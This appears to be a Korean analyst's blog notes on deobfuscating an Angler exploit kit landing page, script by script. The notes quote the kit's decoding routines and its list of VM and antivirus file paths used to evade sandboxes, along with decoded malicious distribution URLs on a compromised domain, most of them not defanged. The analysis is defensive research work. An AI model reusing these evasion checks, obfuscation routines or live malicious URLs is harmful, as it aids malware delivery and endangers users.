Angler EK

Angler EK 를 분석하면서 키포인트만 간단하게 정리

작년보다 진화해서 짜증났다;;

1. 랜딩 페이지 디코딩 확인

> 랜딩 페이지 원본 주소 확인 (etacider-schotelrek.biocertindia.com/TpbS-klY-HUOdhT/CTyO-819-HyCvM/)

> 단서: CTyO-819-HyCvM 랜딩 페이지 원본 코드에서 복호화에 사용되는 키값 확인

> 중요한 키값 확인

zi = LaB7YP(DV , OLnxdqo); // 235번째 줄

 

> 디코딩 확인

console.log(zi);  혹은 document.write("<xmp>") 태그로 확인 가능

 

> 디코딩 확인결과 원본 코드에 포함된 스크립트 외 5개의 추가 스크립트 확인

 

2. 첫번째 스크립트 확인

> 중요한 키값 확인

x.src = xText(s);

 

> 디코딩 시도 시 appendChild 속성 에러 확인

 

> 에러 원인은 var McjL = document.getElementsByTagName("q")[0] 로 확인되어  원본코드에 존재하는 q[0] 값 필요

<q> I think you are going to be apprehended; constitution is a rectory, but a man of s arriving and finding only pleasures in retirement and study, as afterwards in more need of a collected mind, made every shew of attention self-interest, </q>

 

> 첫째 스크립트 디코딩 결과, img src 부분에 vm 이나 백신 파일의 경로가 나열되는데 추후 exploit 시 백신 외 프로세스 동작 유/무 체크 하기 위함으로 판단됨

res://C:\Program Files (x86)\VMware\VMware Tools\TPAutoConnSvc.exe/#2/#26567 res://C:\Program Files\VMware\VMware Tools\TPAutoConnSvc.exe/#2/#26567 res://C:\Program Files (x86)\Fiddler2\Fiddler.exe/#3/#32512 res://C:\Program Files\Fiddler2\Fiddler.exe/#3/#32512 res://C:\Program Files (x86)\VMware\VMware Tools\TPAutoConnSvc.exe/#2/#30996 res://C:\Program Files\VMware\VMware Tools\TPAutoConnSvc.exe/#2/#30996 res://C:\Program Files (x86)\Oracle\VirtualBox Guest Additions\uninst.exe/#2/#110 res://C:\Program Files\Oracle\VirtualBox Guest Additions\uninst.exe/#2/#110 res://C:\Program Files (x86)\Parallels\Parallels Tools\Applications\setup_nativelook.exe/#2/#204 res://C:\Program Files\Parallels\Parallels Tools\Applications\setup_nativelook.exe/#2/#204 res://C:\Program Files (x86)\Trend Micro\Titanium\TmConfig.dll/#2/#30994 res://C:\Program Files\Trend Micro\Titanium\TmConfig.dll/#2/#30994 res://C:\Program Files (x86)\Trend Micro\Titanium\TmSystemChecking.dll/#2/#30994 res://C:\Program Files\Trend Micro\Titanium\TmSystemChecking.dll/#2/#30994 res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Anti-Virus 6.0 for Windows Workstations\shellex.dll/#2/#102 res://C:\Program Files\\Kaspersky Lab\Kaspersky Anti-Virus 6.0 for Windows Workstations\shellex.dll/#2/#102 res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Anti-Virus 6.0\shellex.dll/#2/#102 res://C:\Program Files\\Kaspersky Lab\Kaspersky Anti-Virus 6.0\shellex.dll/#2/#102 res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Anti-Virus 7.0\shellex.dll/#2/#102 res://C:\Program Files\\Kaspersky Lab\Kaspersky Anti-Virus 7.0\shellex.dll/#2/#102 res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Anti-Virus 2009\mfc42.dll/#2/#26567 res://C:\Program Files\\Kaspersky Lab\Kaspersky Anti-Virus 2009\mfc42.dll/#2/#26567 res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Anti-Virus 2010\mfc42.dll/#2/#26567 res://C:\Program Files\\Kaspersky Lab\Kaspersky Anti-Virus 2010\mfc42.dll/#2/#26567 res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Anti-Virus 2011\avzkrnl.dll/#2/BBALL res://C:\Program Files\\Kaspersky Lab\Kaspersky Anti-Virus 2011\avzkrnl.dll/#2/BBALL res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Anti-Virus 2012\x86\mfc42.dll/#2/#26567 res://C:\Program Files\\Kaspersky Lab\Kaspersky Anti-Virus 2012\x86\mfc42.dll/#2/#26567 res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Anti-Virus 2013\x86\mfc42.dll/#2/#26567 res://C:\Program Files\\Kaspersky Lab\Kaspersky Anti-Virus 2013\x86\mfc42.dll/#2/#26567 res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Anti-Virus 14.0.0\x86\mfc42.dll/#2/#26567 res://C:\Program Files\\Kaspersky Lab\Kaspersky Anti-Virus 14.0.0\x86\mfc42.dll/#2/#26567 res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Anti-Virus 15.0.0\x86\mfc42.dll/#2/#26567 res://C:\Program Files\\Kaspersky Lab\Kaspersky Anti-Virus 15.0.0\x86\mfc42.dll/#2/#26567 res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Anti-Virus 15.0.1\x86\mfc42.dll/#2/#26567 res://C:\Program Files\\Kaspersky Lab\Kaspersky Anti-Virus 15.0.1\x86\mfc42.dll/#2/#26567 res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Anti-Virus 15.0.2\x86\mfc42.dll/#2/#26567 res://C:\Program Files\\Kaspersky Lab\Kaspersky Anti-Virus 15.0.2\x86\mfc42.dll/#2/#26567 res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky CRYSTAL 3.0\x86\mfc42.dll/#2/#26567 res://C:\Program Files\\Kaspersky Lab\Kaspersky CRYSTAL 3.0\x86\mfc42.dll/#2/#26567 res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky PURE\mfc42.dll/#2/#26567 res://C:\Program Files\\Kaspersky Lab\Kaspersky PURE\mfc42.dll/#2/#26567 res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Internet Security 6.0\shellex.dll/#2/#102 res://C:\Program Files\\Kaspersky Lab\Kaspersky Internet Security 6.0\shellex.dll/#2/#102 res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Internet Security 7.0\shellex.dll/#2/#102 res://C:\Program Files\\Kaspersky Lab\Kaspersky Internet Security 7.0\shellex.dll/#2/#102 res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Internet Security 2009\mfc42.dll/#2/#26567 res://C:\Program Files\\Kaspersky Lab\Kaspersky Internet Security 2009\mfc42.dll/#2/#26567 res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Internet Security 2010\mfc42.dll/#2/#26567 res://C:\Program Files\\Kaspersky Lab\Kaspersky Internet Security 2010\mfc42.dll/#2/#26567 res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Internet Security 2011\avzkrnl.dll/#2/BBALL res://C:\Program Files\\Kaspersky Lab\Kaspersky Internet Security 2011\avzkrnl.dll/#2/BBALL res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Internet Security 2012\x86\mfc42.dll/#2/#26567 res://C:\Program Files\\Kaspersky Lab\Kaspersky Internet Security 2012\x86\mfc42.dll/#2/#26567 res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Internet Security 2013\x86\mfc42.dll/#2/#26567 res://C:\Program Files\\Kaspersky Lab\Kaspersky Internet Security 2013\x86\mfc42.dll/#2/#26567 res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Internet Security 14.0.0\x86\mfc42.dll/#2/#26567 res://C:\Program Files\\Kaspersky Lab\Kaspersky Internet Security 14.0.0\x86\mfc42.dll/#2/#26567 res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Internet Security 15.0.0\x86\mfc42.dll/#2/#26567 res://C:\Program Files\\Kaspersky Lab\Kaspersky Internet Security 15.0.0\x86\mfc42.dll/#2/#26567 res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Internet Security 15.0.1\x86\mfc42.dll/#2/#26567 res://C:\Program Files\\Kaspersky Lab\Kaspersky Internet Security 15.0.1\x86\mfc42.dll/#2/#26567 res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Internet Security 15.0.2\x86\mfc42.dll/#2/#26567 res://C:\Program Files\\Kaspersky Lab\Kaspersky Internet Security 15.0.2\x86\mfc42.dll/#2/#26567 res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Total Security 14.0.0\x86\mfc42.dll/#2/#26567 res://C:\Program Files\\Kaspersky Lab\Kaspersky Total Security 14.0.0\x86\mfc42.dll/#2/#26567 res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Total Security 15.0.0\x86\mfc42.dll/#2/#26567 res://C:\Program Files\\Kaspersky Lab\Kaspersky Total Security 15.0.0\x86\mfc42.dll/#2/#26567 res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Total Security 15.0.1\x86\mfc42.dll/#2/#26567 res://C:\Program Files\\Kaspersky Lab\Kaspersky Total Security 15.0.1\x86\mfc42.dll/#2/#26567 res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Total Security 15.0.2\x86\mfc42.dll/#2/#26567 res://C:\Program Files\\Kaspersky Lab\Kaspersky Total Security 15.0.2\x86\mfc42.dll/#2/#26567 res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky PURE 2.0\x86\mfc42.dll/#2/#26567 res://C:\Program Files\\Kaspersky Lab\Kaspersky PURE 2.0\x86\mfc42.dll/#2/#26567 res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky PURE 3.0\x86\mfc42.dll/#2/#26567 res://C:\Program Files\\Kaspersky Lab\Kaspersky PURE 3.0\x86\mfc42.dll/#2/#26567

 

3. 두번째 스크립트 확인

> 난독화 되어 있지 않고 변수&함수 정의 부분 존재 (다른 스크립트에서 활용하여 아래에서 설명)

> 추후 활용되는 중요 스크립트만 확인

window['cooc'], var p='push',i='indexOf';  , window["cPas"] window["cPas"] 의 경우 "jxncfYj" 변수를 활용하는데 해당 변수를 최초 페이지에 선언 jxncfYj = 'POKpfYXdwvF61RWHE8sD',

 

4. 세번째 스크립트 확인

> 다섯가지 스크립트 중 가장 고난이도 난독화 패턴으로 확인

> 자체 스크립트에 난독화 확인

c += String.fromCharCode(e[d]) // 핵심코드, 1차 디코딩에 필요한 중요한 Key

 

> 1차 디코딩 코드에서 최종 악성코드 유포지로 추정되는 URL 복호화 시도가 관건

function l11z(a, c, b) { this.scope = l11c(), this.u = !1, this.key = b, this.headers = c, this.url = 'http://' + this.scope.g[this.scope.Lb].host + '/' + l11l(a) // 484번째 줄 참조

 

> this.scope.g[this.scope.Lb].host 는 window["location"].host 의미, 즉 현재 URL을 의미하기 때문에 l11l(a) 값이 중요

> 다시 원점으로 돌아와서 해당 스크립트의 마지막 부분 확인

l11B = new l11A, l11B.Hb() // l11A, l11B 를 알아내는 중요한 단서

 

> l11A 함수 확인

function l11A() { this.scope = l11c(), this.ua = new l11z(''.xexec(), ''.hhh ? ''.hhh() : null, 'Du9JOBgkbfzGvmFF'), this.W = new l11w, this.na = new l11q, this.F = new l11o; var a = 256 * l11g(12), c = 412020736 + this.scope.wa; if (this.B = new l11p(12, a, [c, 412020736 + this.scope.P, c]), this.Xa = !1, this.ua.w(), !this.ua.u) throw new this.scope.j(0); this.scope.s() } // 614 줄 참조

 

> l11z 함수 확인

function l11z(a, c, b) { // a 가 ''.xexec() 에 해당

 

> l11l 함수 확인 (l11k 를 알아야되기 때문에 65줄 코드 값 필요)

var l11k = l11j("#*'&-#>\u007fx(#(/&*)fc1<14?= mP\x00\x0B\x00\u0007\u000e\u0002\u0011^[\t\u0004\t\f\u0007\u0015\bEB\u0016\u001d\u0012\u0015\u0010\u001c\u0003\u0007\x00P[PW^RA\u000e\u001aMU"); // 치환 값 var l11k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; function l11l(a) { var c = ''; a = a.replace(/[^A-Za-z0-9\+\/\=]/g, ''); for (var b = Array(4), d = Array(3), e = 0; e < a.length; e += 4) { for (var g = 0; 4 > g && e + g < a.length; g++) b[g] = l11k.indexOf(a.charAt(e + g)); for (d[0] = (b[0] << 2) + ((b[1] & 48) >> 4), d[1] = ((b[1] & 15) << 4) + ((b[2] & 60) >> 2), d[2] = ((b[2] & 3) << 6) + b[3], g = 0; g < d.length && 64 != b[g + 1]; g++) c += String.fromCharCode(d[g]) }

> l11l(a) 가 호출되는 서브도메인, 즉 l11l(''xexec())

# 정리 : 추가 호출 URL 은 http://현재도메인/ + ' l11l(''.xexec())'

 

> xexec() 코드는 세번째 스크립트 원본코드에 존재하며 그 안에 삽입된 코드는 두번째 코드에 존재하며, 또 그 안에 삽입된 코드는 최초 페이지에 선언

세번째 스크립트 원본 코드 function lll1l1I() { String['prototype']['xexec'] = function() { return cPas(cxncfYc) }; // cPas 는 두번째 스크립트에 존재 두번째 스크립트 코드 window["cPas"] = new Function('vtx', "var cryptKey = jxncfYj, rA = cryptKey.split(''), sA = cryptKey.split(''), // 42번째 줄 최초 페이지 코드 cxncfYc = 'URCJz3ZU9UT3PZRlMkn9HOKZmjY0D1kmUUmxN5D6jamdHza11dk2b0mETJDQnJ9WCjbFqln0YI9cJ1GqmJ9bZWdd6NmDVg98JVFW           2T    5 j', // 175번째 줄

 

> xexec() 실행 시 코드 획득

코드 획득: P3k9MTlCRUZRZ3UzJnU9Um56NkxKOHUmYj0mZD1Db2JQTkEmaj0maz1HdDd1Y01qJnc9JnI9bjFCWGlqVDVWJm89Jmg9dWdZbFN 6T25j 결국, l11l(“P3k9MTlCRUZRZ3UzJnU9Um56NkxKOHUmYj0mZD1Db2JQTkEmaj0maz1HdDd1Y01qJnc9JnI9bjFCWGlqVDVWJm89Jmg9dWdZbFN6T25j”); 최종 복호화 주소 확인 : ?y=19BEFQgu3&u=Rnz6LJ8u&b=&d=CobPNA&j=&k=Gt7ucMj&w=&r=n1BXijT5V&o=&h=ugYlSzOnc

 

> 최종 도메인 정보

hxxp://etacider-schotelrek.biocertindia.com?y=19BEFQgu3&u=Rnz6LJ8u&b=&d=CobPNA&j=&k=Gt7ucMj&w=&r=n1BXijT5V&o=&h=ugYlSzOnc

 

5. 네번째 스크립트 확인 (플래시 파일 호출 스크립트)

> 중요한 정보는 furl 값으로 확인 (getKolaio() + '/' + getTxl(mirtul)

furl = 'http://' + getKolaio() + '/' + getTxl(mirtul) // 43번째 줄

 

> getKolaio() 함수 확인

function getKolaio() { return cPas(dxncfYd);} // 10번째 줄, cPas(dxncfYd 호출은 최초페이지에 선언

 

> cPas 는 2차 스크립트에 존재하고, dxncfYd 변수는 최초 페이지에 존재

2차 스크립트에서 cPas 부분 확인 var p = 'push', i = 'indexOf'; window["cPas"] = new Function('vtx', "var cryptKey = jxncfYj, rA = cryptKey.split(''), sA = cryptKey.split(''), keyArray=[];sA.sort(); var keySize = sA.length;for (var i=0; i<keySize; i++) {keyArray." + p + "(rA." + i + "(sA[i]));}vtx = vtx.replace(/\\+/g,'%');var k = keySize - vtx.length % keySize;for(var l = 0; l<k;l++) {vtx += ' ';} var endStr = '', i,j,line,newLine;for (i = 0; i < vtx.length; i += keySize) {line = vtx.substr(i,keySize).split('');newLine = '';for (j = 0; j < keySize; j++){newLine += line[keyArray[j]];}endStr = endStr + newLine;}delete(rA);delete(sA);delete(keyArray);delete(newLine);delete(line);endStr=endStr.replace(/\\s/g,'');return endStr;"); // cPas 를 풀기위해선 var p, i 값 필요   최초 페이지에서 dxncfYd 부분 확인 dxncfYd = 's-rrltoe.kdtecheiaecdni mc.o  ribiateo c', // 176번째 줄

 

> getKolaio() 확인

cPas('s-rrltoe.kdtecheiaecdni mc.o ribiateo c’); 최종 도메인: etacider-schotelrek.biocertindia.com

 

> getTxl(mirtul) 확인

function getTxl(a) { return cPas(rxncfYr);} // 14번째 줄, cPas 와 rxncfYr 의 값은 두번째 스크립트와 최초 페이지에 존재

 

> getTxl() 확인

cPas(‘qOioHs&=1XQb?wOm5=Aw&yk&EIfEr=UM0y=K=&fnSMTl125x=pe7Pci=&p&v ZD       DDp  H4r l’); 최종 확인: ?b=w5QmiOqwO&s=HoAX10M&n=UKky&y=fIEE&f=rP7pv&e=TMSci52x1l&p=pDrl4DHDZ

 

> 최종 도메인 정보

etacider-schotelrek.biocertindia.com/?b=w5QmiOqwO&s=HoAX10M&n=UKky&y=fIEE&f=rP7pv&e=TMSci52x1l&p=pDrl4DHDZ

 

6. 다섯번째 스크립트 확인 (실버라이트 호출 스크립트)

> 중요한 정보는 <param name="source" value="http://' + getKolaio() + '/' + getTxl() + '" /> 값으로 확인

> getKolaio() 확인 방법은 네번째 스크립트에서 디코딩한 과정과 동일

cPas(exncfYe); // etacider-schotelrek.biocertindia.com

 

> getTxl() 확인

getTxl() = cPas(hxncfYh); hxncfYh = '&mwVSm&=VAUt?j=DI=KX=n&r-weEcFwJB9L=&hYHFssT=&ic9g9x&p9Tf=J-d=b HQLsM&na s', cPas('&mwVSm&=VAUt?j=DI=KX=n&r-weEcFwJB9L=&hYHFssT=&ic9g9x&p9Tf=J-d=b HQLsM&na s');

 

> 최종 도메인 정보

etacider-schotelrek.biocertindia.com/?t=XIUDwm&j=&m=SVKAVBJhH&w=&n=9LewE-rYFc&x=-f9TssFp9i&c=TJg9LQasnH&b=dsM

 

** 랜딩페이지만 획득하였고, 유포지 도메인을 모른다고 가정하면 네번째, 다섯번째 스크립트를 공략하여 랜딩 페이지 주소 및 최종 유포지 주소를 알아내는데 시간을 단축 예상

- 16.05.26 어느날 -